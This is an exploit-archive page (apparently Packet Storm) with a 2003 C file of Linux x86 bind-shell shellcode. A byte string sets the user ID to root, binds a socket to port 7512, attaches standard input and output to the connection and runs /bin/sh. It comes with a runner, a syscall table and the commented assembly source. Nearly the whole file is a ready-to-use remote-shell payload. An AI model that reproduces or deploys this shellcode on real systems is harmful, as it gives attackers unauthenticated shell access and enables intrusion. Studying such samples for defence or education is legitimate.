what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

lnx86_bindshell.c

lnx86_bindshell.c
Posted Oct 14, 2003
Authored by posidron | Site tripbit.org

Linux x86 shellcode that binds a shell to port 7512 and has a size of 123 bytes.

tags | shell, x86, shellcode
systems | linux
SHA-256 | 446f8b26d46953947345898cf7cb71847960df0cffc32e68b8a82a2a3d321273

lnx86_bindshell.c

Change Mirror Download
/*  Tripbit Security Research (tripbit.org)
*
* title: lnx86_bindshell
* port: 7512
* size: 123 bytes
* system: linux x86
* author: posidron
* contact: posidron[at]tripbit.org
*/

#include <stdio.h>

char bindshell[]= "\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x6a\x01\x6a"
"\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52"
"\x66\x68\x1d\x58\x66\x6a\x02\x89\xe2\x31\xc9\x6a"
"\x10\x52\x50\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x6a"
"\x02\x6a\x03\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31"
"\xc9\x51\x51\x6a\x03\x89\xe1\xfe\xc3\xb0\x66\xcd"
"\x80\x31\xc9\x89\xc3\xb0\x3f\xcd\x80\xfe\xc1\xb0"
"\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80\x31\xc0\x50"
"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x31\xdb"
"\xb0\x01\xcd\x80";

int main(int argc, char **argv)
{
void(*tsr) (void);
tsr = (void*)bindshell;
tsr();
return 0;
}


/*
%eax Name %ebx %ecx
1 sys_exit int -
11 sys_execve struct pt_regs -
23 sys_setuid uid_t -
63 sys_dup2 unsigned int unsigned int
102 sys_socketcall int unsigned long*

- sys_socketcall_socket = 1
- sys_socketcall_bind = 2
- sys_socketcall_listen = 4
- sys_socketcall_accept = 5
*/


/*
main()
{
__asm__("
xor %ebx, %ebx
movb $0x17, %al
int $0x80

xor %eax, %eax
push %eax
push $0x1
push $0x2
mov %esp,%ecx
incb %bl
movb $0x66,%al
int $0x80

xor %edx, %edx
push %edx
pushw $0x581d
pushw %0x2
mov %esp, %edx
xor %ecx, %ecx
push $0x10
push %edx
push %eax
mov %esp, %ecx
incb %bl
mov $0x66, %al
int $0x80

push $0x2
push $0x3
mov %esp, %ecx
movb $0x4, %bl
movb $0x66, %al
int $0x80

xor %ecx, %ecx
push %ecx
push %ecx
push $0x3
mov %esp, %ecx
incb %bl
movb $0x66, %al
int $0x80

mov %ecx, %ecx
mov %eax, %ebx
movb $0x3f, %al
int $0x80
incb %cl
mov $0x3f, %al
int $0x80
incb %cl
movb $0x3f, %al
int $0x80

xor %eax, %eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx
push %eax
push %ebx
mov %esp, %ecx
xor %edx, %edx
movb $0xb, %al
int $0x80

xor %ebx, %ebx
movb $0x1, %al
int $0x80
");
}
*/
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close